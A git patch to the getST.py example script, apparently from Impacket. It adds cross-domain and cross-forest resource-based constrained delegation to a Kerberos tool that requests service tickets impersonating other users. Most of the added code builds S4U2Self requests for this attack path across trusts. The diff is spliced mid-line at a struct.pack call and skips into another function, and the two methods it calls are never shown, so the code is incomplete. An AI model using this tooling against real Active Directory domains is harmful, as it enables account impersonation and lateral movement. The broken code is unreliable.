From 8da58891b0c08b26916652e1a2fe643bd85cda32 Mon Sep 17 00:00:00 2001 From: Simon Msika Date: Tue, 17 Mar 2026 14:01:23 +0100 Subject: [PATCH] Added cross forest & cross domain RBCD support --- examples/getST.py | 506 ++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 489 insertions(+), 17 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 377a0f5b1a..5c79aa4569 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -90,11 +90,14 @@ def __init__(self, target, password, domain, options): self.__aesKey = options.aesKey self.__options = options self.__kdcHost = options.dc_ip + self.__otherdcHost = options.targetdc + self.__targetDomain = options.targetdomain self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__dmsa = options.dmsa self.__saveFileName = None self.__no_s4u2proxy = options.no_s4u2proxy + self.__forest = options.forest if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -172,6 +175,454 @@ def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache.saveFile(self.__saveFileName + '.ccache') + + + def doS4U2SelfCrossDomain(self, ticket, decodedTGT, cipher, sessionKey, kdcHost, targetDomain, crossforest): + # We have a TGT valid for the cross-domain interaction + + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq,'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = decodedTGT['crealm'].asOctets() + + clientName = Principal() + clientName.from_asn1( decodedTGT, 'crealm', 'cname') + + seq_set(authenticator, 'cname', clientName.components_to_asn1) + + now = datetime.datetime.now(datetime.timezone.utc) + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + encodedApReq = encoder.encode(apReq) + + tgsReq = TGS_REQ() + + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + tgsReq['padata'] = noValue + tgsReq['padata'][0] = noValue + tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) + tgsReq['padata'][0]['padata-value'] = encodedApReq + + reqBody = seq_set(tgsReq, 'req-body') + + opts = list() + opts.append( constants.KDCOptions.forwardable.value ) + opts.append( constants.KDCOptions.renewable.value ) + opts.append( constants.KDCOptions.renewable_ok.value ) + opts.append( constants.KDCOptions.canonicalize.value ) + + reqBody['kdc-options'] = constants.encodeFlags(opts) + logging.debug("Principal : " + "%s@%s@%s " % (self.__user, targetDomain, decodedTGT['crealm'])) + logging.debug("Domain : " + self.__domain) + if crossforest: + serverName = Principal("%s@%s" % (self.__user, decodedTGT['crealm']), self.__domain, type=constants.PrincipalNameType.NT_ENTERPRISE.value) + else: + serverName = Principal("%s@%s@%s" % (self.__user, self.__domain, targetDomain), self.__targetDomain, type=constants.PrincipalNameType.NT_ENTERPRISE.value) + + seq_set(reqBody, 'sname', serverName.components_to_asn1) + reqBody['realm'] = targetDomain + + now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1) + + reqBody['till'] = KerberosTime.to_asn1(now) + reqBody['nonce'] = random.getrandbits(31) + seq_set_iter(reqBody, 'etype', + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.rc4_hmac_exp.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(cipher.enctype) + ) + ) + + S4UByteArray = struct.pack('= 0: - logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) - if str(e).find('KDC_ERR_BADOPTION') >= 0: - logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) - - return + + # Cross domain/forest interactions + if (self.__otherdcHost is not None) and (self.__targetDomain is not None): + try: + if self.__forest: + tgs, cipher, oldSessionKey, sessionKey = self.doS4UCrossForest(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__otherdcHost, self.__targetDomain) + else: + tgs, cipher, oldSessionKey, sessionKey = self.doS4UCrossDomain(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__otherdcHost) + except Exception as e: + print(str(e)) + else: + try: + logging.info('Impersonating %s' % self.__options.impersonate) + # Editing below to pass hashes for decryption + if self.__additional_ticket is not None: + tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, + self.__kdcHost, self.__additional_ticket) + else: + tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) + except Exception as e: + logging.debug("Exception", exc_info=True) + logging.error(str(e)) + if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: + logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) + if str(e).find('KDC_ERR_BADOPTION') >= 0: + logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) + + return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey) @@ -872,6 +1340,10 @@ def run(self): '(128 or 256 bits)') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' 'omitted it use the domain part (FQDN) specified in the target parameter') + group.add_argument('-targetdc', action='store', metavar="ip address", help='IP Address of the second domain controller to use. Necessary ' + 'for cross-domain/forest RBCD') + group.add_argument('-targetdomain', action='store', metavar="ip address", help='Second domain to target. Necessary for cross-domain/forest RBCD') + parser.add_argument('-forest', dest='forest', action='store_true', help='For cross-forest RBCD') if len(sys.argv) == 1: parser.print_help()